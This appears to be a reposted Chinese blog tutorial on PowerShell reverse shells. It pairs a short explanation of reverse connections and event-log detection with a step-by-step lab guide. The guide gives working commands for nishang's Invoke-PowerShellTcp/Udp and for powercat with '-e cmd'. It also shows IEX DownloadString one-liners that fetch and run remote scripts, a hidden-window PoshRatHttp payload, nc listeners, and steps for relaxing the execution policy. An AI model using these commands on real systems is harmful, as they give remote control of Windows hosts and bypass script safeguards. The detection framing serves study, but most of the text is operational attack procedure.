赞
踩
powershell反弹shell常见方式
反弹Shell原理及检测技术研究
正向连接:我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。
主动连接
控制端,即客户端
被控制端,即服务端
在以下情况,正向连接会不能用:
所以建立一个服务端让恶意程序主动连接,才是上策。
反弹连接:攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
主动连接
被控制端,即客户端
控制端,服务端
cmd运行gpedit.msc打开本地组策略
cmd运行eventvwr.exe打开系统事件日志
应用程序和服务日志->Microsoft->Windows->PowerShell/Operational 产生的 4103 事件日志
4103事件日志 主要记录powershell的操作日志,agent检测也是通过过滤日志信息来判断反弹shell
powershell 设置执行策略:
set-executionpolicy remotesigned
powershell 查看当前执行策略是否为RemoteSigned,是则设置策略成功
get-executionpolicy
右击powershell脚本文件,选中解除锁定,并应用
即可执行Invoke-PowerShellTcp.ps1脚本不报错了
最本质的原理
:就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,建立连接 然后攻击端跟受害者主机通信,受害者主机转发shell输入输出流到攻击端,从而攻击端能够控制受害者主机。
主要区别
:在于通信的原理(TCP/UDP/ICMP/HTTP/SSH/TELNET),也可以形容反弹Shell的类型 例如反弹TCP的Shell;
建立通信的方式(执行ps脚本/注入DLL/打开office文件)的方式,分为以下几类:
从检测的角度,可以将反弹Shell分为以下三种类型:
以win10为被控端/受攻击端,kali为控制端/攻击端为例:
完成3.3的powershell的配置
netcat下载安装(被控端和控制端都需要安装)
下载地址:https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
下载nishang框架:https://github.com/samratashok/nishang
创建一个控制端(用VM安装一个Kali或者其他版本Linux安装netcat,Kali自带netcat)运行命令 监听端口9000 等待被控制端主动连接
nc -lvp 9000
被控制端运行Invoke-PowerShellTcp.ps1脚本 默认连接控制端的9000端口
Invoke-PowerShellTcp.ps1 -Reverse -IPAddress 控制端的IP -port 9000
控制端进入交互界面
说明连接成功 控制端可以进行各种控制操作了。
以win10为被控端/受攻击端,kali为控制端/攻击端为例
下载powercat:https://github.com/besimorhino/powercat
这里环境编写Powershell环境 建议vscode+powershell插件
注意:下载脚本运行是没效果的,需要以下操作步骤才能正常使用powercat:
Set-ExecutionPolicy RemoteSigned
然后就可以正常使用powercat了。
(其他基于powershell的框架基本都是如此)
注意:似乎每次都需要Import-Module脚本才能正常运行脚本
同理,如上思路基本相似。
1.攻击端监听一个端口,等待被攻击端主动连接。nc -nlvp 9000
2.被攻击端powershell执行。
powercat -c 192.168.111.132 -p 9000 -e cmd
以下是不下载Powercat的命令
powershell.exe IEX (New-Object System.Net.Webclient).DownloadString("https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1");powercat -c 192.168.111.132 -p 9000 -e cmd
两个命令主要区别在于脚本是否在本地:
第一个Powercat脚本在本地并且已经安装成了模块
第二个需要先使用Powershell下载脚本,在执行.
3.效果同上
攻击端:
监听UDP9000端口
nc -lup 9000
受害端:
进入当前脚本文件夹
Import-Module .\Invoke-PowerShellUdp.ps1
Invoke-PowerShellUdp -Reverse -IPAddress 攻击端IP地址 -port 9000
nishang框架的官方教程:https://github.com/samratashok/nishang
参考https://zhuanlan.zhihu.com/p/27723026
攻击端和受害端均为Windows,且此处受害端为http服务端,攻击端为http客户端;
受害端:
导入Invoke-PoshRatHttp.ps1
Import-Module .\Invoke-PoshRatHttp.ps1# 监听端口,启动http服务
Invoke-PoshRatHttp -IPAddress 192.168.111.132 -Port 9000
输出结果.
最后一行便是给攻击端使用的
攻击端:
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.111.132:9000/connect'))
>>whoami
便能控制受害端.不过http是短链接 请求返回结果之后就结束了,每次命令都需要重新请求.
参考
https://blog.csdn.net/qq_39101049/article/details/96191861
https://blog.csdn.net/qq_45625605/article/details/103056458
非也非也,只需要支持powershell即可,其他dns,http的脚本都是依托powershell运行,所以只需要解决powershell异常连接监听即可。
问题:powershell win7之后才出现,为什么cmd不能呢?
解答:
2.反弹shell原理是基于被控制端主动连接 控制端,所以被控制端的环境依赖越少越好。Powershell window都有,而且其他需要py,office的对环境和其他条件的限制太大。
nishang的脚本存在使用cmd依托进程的脚本
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。